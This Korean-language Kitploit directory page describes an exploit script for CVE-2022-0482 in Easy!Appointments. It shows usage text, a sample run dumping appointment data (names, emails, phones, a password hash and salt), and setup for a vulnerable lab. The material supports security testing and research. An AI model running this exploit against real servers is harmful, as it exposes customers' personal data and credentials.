Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
exploit-CVE-2022-0482 — Easy!Appointments < 1.4.3 - 인증되지 않은 사용자의 개인 식별 정보(이벤트) 노출 | Kitploit
도구/GitHubGitHub/acceis/exploit-cve-2022-0482
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringPenetration Testing
GitHubacceis/exploit-cve-2022-0482

exploit-CVE-2022-0482

Easy!Appointments < 1.4.3 - 인증되지 않은 사용자의 개인 식별 정보(이벤트) 노출

저장소 보기
334년 전아직 검토되지 않음
웹사이트

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Easy!Appointments PII 공개

Easy!Appointments < 1.4.3 - 인증되지 않은 PII (이벤트) 공개

[EDB-50871] [PacketStorm] [WLB-2022040061]

사용법

root@kitploit:~
$ ruby exploit.rb -h
Easy!Appointments < 1.4.3 - Unauthenticated PII (events) disclosure

Source: https://github.com/Acceis/exploit-CVE-2022-0482

Usage:
  exploit.rb <url> [<startDate> <endDate>] [--debug]
  exploit.rb -h | --help

Options:
  <url>       Root URL (base path) including HTTP scheme, port and root folder
  <startDate> All events since (default: 2015-01-11)
  <endDate>   All events until (default: today)
  --debug     Display arguments
  -h, --help  Show this screen

Examples:
  exploit.rb http://10.0.0.1
  exploit.rb https://10.0.0.1:4567/subdir 2022-04-01 2022-04-30

익스플로잇 예시:

root@kitploit:~
$ ruby exploit.rb http://norarch
{"appointments":[{"id":"1","book_datetime":"2022-04-11 15:28:04","start_datetime":"2022-04-11 15:30:00","end_datetime":"2022-04-11 16:00:00","notes":"confidential note","hash":"32b373049e8ef0ebe784a96d0ec13ec4","is_unavailable":"0","id_users_provider":"2","id_users_customer":"3","id_services":"1","id_google_calendar":null,"provider":{"id":"2","first_name":"John","last_name":"Doe","email":"[email protected]","mobile_number":null,"phone_number":"0123456789","address":null,"city":null,"state":null,"zip_code":null,"notes":null,"id_roles":"2","services":["1"],"settings":{"username":"johndoe","password":"aaf8a00c0078c16ce5a1e6f7b6dff27927a514ac1efd88ded0f5bfb3191918ef","salt":"d9fcdd949d6e73fa51c4a472353c880c6d23ae2f89ec6dfaa668ae13eab14249","working_plan":"{\"monday\":{\"start\":\"09:00\",\"end\":\"18:00\",\"breaks\":[{\"start\":\"14:30\",\"end\":\"15:00\"}]},\"tuesday\":{\"start\":\"09:00\",\"end\":\"18:00\",\"breaks\":[{\"start\":\"14:30\",\"end\":\"15:00\"}]},\"wednesday\":{\"start\":\"09:00\",\"end\":\"18:00\",\"breaks\":[{\"start\":\"14:30\",\"end\":\"15:00\"}]},\"thursday\":{\"start\":\"09:00\",\"end\":\"18:00\",\"breaks\":[{\"start\":\"14:30\",\"end\":\"15:00\"}]},\"friday\":{\"start\":\"09:00\",\"end\":\"18:00\",\"breaks\":[{\"start\":\"14:30\",\"end\":\"15:00\"}]},\"saturday\":null,\"sunday\":null}","notifications":"0","google_sync":"0","google_token":null,"google_calendar":null,"sync_past_days":"5","sync_future_days":"5","calendar_view":"default"}},"service":{"id":"1","name":"Test Service","duration":"30","price":"50.00","currency":"Euro","description":"This is a test service automatically inserted by the installer.","availabilities_type":"flexible","attendants_number":"1","id_service_categories":null},"customer":{"id":"3","first_name":"Roger","last_name":"Pasletemps","email":"[email protected]","mobile_number":null,"phone_number":"060606060606","address":"","city":"","state":null,"zip_code":"","notes":"","id_roles":"3"}},{"id":"3","book_datetime":"2022-04-11 15:34:09","start_datetime":"2022-04-11 16:45:00","end_datetime":"2022-04-11 17:15:00","notes":"please","hash":"3d8b789b70a6a8292728a363450666fa","is_unavailable":"0","id_users_provider":"2","id_users_customer":"5","id_services":"1","id_google_calendar":null,"provider":{"id":"2","first_name":"John","last_name":"Doe","email":"[email protected]","mobile_number":null,"phone_number":"0123456789","address":null,"city":null,"state":null,"zip_code":null,"notes":null,"id_roles":"2","services":["1"],"settings":{"username":"johndoe","password":"aaf8a00c0078c16ce5a1e6f7b6dff27927a514ac1efd88ded0f5bfb3191918ef","salt":"d9fcdd949d6e73fa51c4a472353c880c6d23ae2f89ec6dfaa668ae13eab14249","working_plan":"{\"monday\":{\"start\":\"09:00\",\"end\":\"18:00\",\"breaks\":[{\"start\":\"14:30\",\"end\":\"15:00\"}]},\"tuesday\":{\"start\":\"09:00\",\"end\":\"18:00\",\"breaks\":[{\"start\":\"14:30\",\"end\":\"15:00\"}]},\"wednesday\":{\"start\":\"09:00\",\"end\":\"18:00\",\"breaks\":[{\"start\":\"14:30\",\"end\":\"15:00\"}]},\"thursday\":{\"start\":\"09:00\",\"end\":\"18:00\",\"breaks\":[{\"start\":\"14:30\",\"end\":\"15:00\"}]},\"friday\":{\"start\":\"09:00\",\"end\":\"18:00\",\"breaks\":[{\"start\":\"14:30\",\"end\":\"15:00\"}]},\"saturday\":null,\"sunday\":null}","notifications":"0","google_sync":"0","google_token":null,"google_calendar":null,"sync_past_days":"5","sync_future_days":"5","calendar_view":"default"}},"service":{"id":"1","name":"Test Service","duration":"30","price":"50.00","currency":"Euro","description":"This is a test service automatically inserted by the installer.","availabilities_type":"flexible","attendants_number":"1","id_service_categories":null},"customer":{"id":"5","first_name":"G\u00e9rard","last_name":"Efication","email":"[email protected]","mobile_number":null,"phone_number":"0606060606","address":"","city":"","state":null,"zip_code":"","notes":null,"id_roles":"3"}}],"unavailabilities":[]}

아름다운 사람이 읽을 수 있는 출력 예시:

root@kitploit:~
$ ruby exploit.rb http://norarch | jq
{
  "appointments": [
    {
      "id": "1",
      "book_datetime": "2022-04-11 15:28:04",
      "start_datetime": "2022-04-11 15:30:00",
      "end_datetime": "2022-04-11 16:00:00",
      "notes": "confidential note",
      "hash": "32b373049e8ef0ebe784a96d0ec13ec4",
      "is_unavailable": "0",
      "id_users_provider": "2",
      "id_users_customer": "3",
      ...

요구사항

  • httpx
  • docopt.rb

gem을 사용한 예시:

root@kitploit:~
$ gem install httpx docopt

취약한 환경 배포

v1.3.2 (공식 docker-compose 아님)

root@kitploit:~
$ git clone https://github.com/stw-on/easyappointments.git
$ cd easyappointments
$ cp .env.example .env
$ echo "APP_LANGUAGE=english" >> .env
$ xdg-open src/config-sample.php # change timezone
$ xdg-open src/application/config/config.php # change language
$ docker-compose up --build

경고: 물론 이 설정은 프로덕션 사용에 적합하지 않습니다!

참고자료

이는 Francesco CARLUCCI가 발견한 취약점 CVE-2022-0482에 대한 익스플로잇입니다.

취약점에 관한 좋은 자료:

  • 원본 기술 세부정보 게시글 - OpenCIRT
  • 원본 버그 보고서 - Huntr
  • Easy!Appointments 1.4.2 (마지막 취약한 버전)
  • Nuclei 템플릿
  • AttackerKB

면책 조항

ACCEIS는 불법 활동을 조장하거나 권장하지 않습니다. 이 저장소에서 제공되는 모든 콘텐츠는 연구, 교육 및 위협 탐지 목적으로만 사용됩니다.

도구 다운로드